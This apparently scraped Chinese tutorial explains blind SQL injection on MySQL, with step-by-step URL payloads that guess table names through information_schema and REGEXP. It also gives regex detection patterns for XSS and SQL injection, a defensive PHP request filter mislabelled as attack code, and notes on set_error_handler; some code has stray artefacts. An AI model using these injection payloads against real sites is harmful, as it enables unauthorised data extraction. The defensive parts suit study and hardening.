我們都已經知道,在MYSQL 5+中 information_schema庫中儲存了所有的 庫名,表明以及欄位名資訊。故攻擊方式如下:
1. 判斷第一個表名的第一個字元是否是a-z中的字元,其中blind_sqli是假設已知的庫名。
註:Regex中 ^[a-z] 表示字串中開始字元是在 a-z範圍內
代碼如下 |
複製代碼 |
index.php?id=1 and 1=(SELECT 1 FROM information_schema.tables WHERE TABLE_SCHEMA="blind_sqli" AND table_name REGEXP '^[a-z]' LIMIT 0,1) /* |
2. 判斷第一個字元是否是a-n中的字元
代碼如下 |
複製代碼 |
index.php?id=1 and 1=(SELECT 1 FROM information_schema.tables WHERE TABLE_SCHEMA="blind_sqli" AND table_name REGEXP '^[a-n]' LIMIT 0,1)/* |
3. 確定該字元為n
代碼如下 |
複製代碼 |
index.php?id=1 and 1=(SELECT 1 FROM information_schema.tables WHERE TABLE_SCHEMA="blind_sqli" AND table_name REGEXP '^n' LIMIT 0,1) /* www.111cn.net |
4. 運算式的更換如下
代碼如下 |
複製代碼 |
expression like this: '^n[a-z]' -> '^ne[a-z]' -> '^new[a-z]' -> '^news[a-z]' -> FALSE |
這時說明表名為news ,要驗證是否是該表明 Regex為'^news$',但是沒這必要 直接判斷 table_name = ’news‘ 不就行了。
5.接下來猜解其它表了 只需要修改 limit 1,1 -> limit 2,1就可以對接下來的表進行盲注了。
例
代碼如下 |
複製代碼 |
$Exec_Commond = "( \s|\S)*(exec(\s|\+)+(s|x)p\w+)(\s|\S)*"; $Simple_XSS = "( \s|\S)*((%3C)|<)((%2F)|/)*[a-z0-9%]+((%3E)|>)(\s|\S)*"; $Eval_XSS = "( \s|\S)*((%65)|e)(\s)*((%76)|v)(\s)*((%61)|a)(\s)*((%6C)|l)(\s|\S)*"; $Image_XSS = "( \s|\S)*((%3C)|<)((%69)|i|I|(%49))((%6D)|m|M|(%4D))((%67)|g|G|(%47))[^\n]+((%3E)|>)(\s|\S)*" ; $Script_XSS = "( \s|\S)*((%73)|s)(\s)*((%63)|c)(\s)*((%72)|r)(\s)*((%69)|i)(\s)*((%70)|p)(\s)*((%74)|t)(\s|\S)*"; $SQL_Injection = "( \s|\S)*((%27)|(')|(%3D)|(=)|(/)|(%2F)|(")|((%22)|(-|%2D){2})|(%23)|(%3B)|(;))+(\s|\S)*"; |
sql攻擊代碼
代碼如下 |
複製代碼 |
<?php function customError($errno, $errstr, $errfile, $errline) { echo "<b>Error number:</b> [$errno],error on line $errline in $errfile<br />"; die(); } set_error_handler("customError",E_ERROR); $getfilter="'|(and|or)\b.+?(>|<|=|in|like)|\/\*.+?\*\/|<\s*script\b|\bEXEC\b|UNION.+?SELECT|UPDATE.+?SET|INSERT\s+INTO.+?VALUES|(SELECT|DELETE).+?FROM|(CREATE|ALTER|DROP|TRUNCATE)\s+(TABLE|DATABASE)"; $postfilter="\b(and|or)\b.{1,6}?(=|>|<|\bin\b|\blike\b)|\/\*.+?\*\/|<\s*script\b|\bEXEC\b|UNION.+?SELECT|UPDATE.+?SET|INSERT\s+INTO.+?VALUES|(SELECT|DELETE).+?FROM|(CREATE|ALTER|DROP|TRUNCATE)\s+(TABLE|DATABASE)"; $cookiefilter="\b(and|or)\b.{1,6}?(=|>|<|\bin\b|\blike\b)|\/\*.+?\*\/|<\s*script\b|\bEXEC\b|UNION.+?SELECT|UPDATE.+?SET|INSERT\s+INTO.+?VALUES|(SELECT|DELETE).+?FROM|(CREATE|ALTER|DROP|TRUNCATE)\s+(TABLE|DATABASE)"; function StopAttack($StrFiltKey,$StrFiltValue,$ArrFiltReq) { if(is_array($StrFiltValue)) { $StrFiltValue=implode($StrFiltValue); } if (preg_match("/".$ArrFiltReq."/is",$StrFiltValue)==1&&!isset($_REQUEST['securityToken'])) { slog("<br><br>操作IP: ".$_SERVER["REMOTE_ADDR"]."<br>操作時間: ".strftime("%Y-%m-%d %H:%M:%S")."<br>操作頁面:".$_SERVER["PHP_SELF"]."<br>提交方式: ".$_SERVER["REQUEST_METHOD"]."<br>提交參數: ".$StrFiltKey."<br>提交資料: ".$StrFiltValue); print "result notice:Illegal operation!"; exit(); } } foreach($_GET as $key=>$value) { StopAttack($key,$value,$getfilter); } foreach($_POST as $key=>$value) { StopAttack($key,$value,$postfilter); } foreach($_COOKIE as $key=>$value) { StopAttack($key,$value,$cookiefilter); } function slog($logs) { $toppath="log.htm"; $Ts=fopen($toppath,"a+"); fputs($Ts,$logs."rn"); fclose($Ts); } ?>
|
sql
分析
如果使用這個函數的話,這個函數會繞開PHP的標準出錯處理,所以說得自己定義報錯處理常式(die())。
其次,如果代碼執行前就發生了錯誤,那個時候使用者自訂的程式還沒有執行,所以就不會用到使用者自己寫的報錯處理常式。
那麼,PHP裡有一套錯誤處理機制,可以使用set_error_handler()接管PHP錯誤處理,也可以使用trigger_error()函數主動拋出一個錯誤。
set_error_handler()函數設定使用者自訂的錯誤處理函數。函數用於建立運行期間的使用者自己的錯誤處理方法。它需要先建立一個錯誤處理函數,然後設定錯誤層級。
關於的用法:
代碼如下 |
複製代碼 |
function customError($errno, $errstr, $errfile, $errline) { echo "<b>錯誤碼:</b> [${errno}] ${errstr}\r\n"; echo " 錯誤所在的程式碼: {$errline} 檔案{$errfile}\r\n"; 9 echo " PHP版本 ",PHP_VERSION, "(" , PHP_OS, ")\r\n"; // die(); } set_error_handler("customError",E_ALL| E_STRICT); |
總結
PHP遇到錯誤時,就會給出出錯指令碼的位置、行數和原因,有很多人說,這並沒有什麼大不了。但泄露了實際路徑的後果是不堪設想的,對於某些入侵者,這個資訊可是非常重要,而事實上現在有很多的伺服器都存在這個問題。 有些網管乾脆把PHP設定檔中的 display_errors 設定為 Off 來解決,但本人認為這個方法過於消極。有些時候,我們的確需要PHP返回錯誤的資訊以便調試。而且在出錯時也可能需要給使用者一個交待,甚至導航到另一頁面。但是有了set_error_handler()之後,這些矛盾也都可以解決掉了。
但是發現很少用這個函數。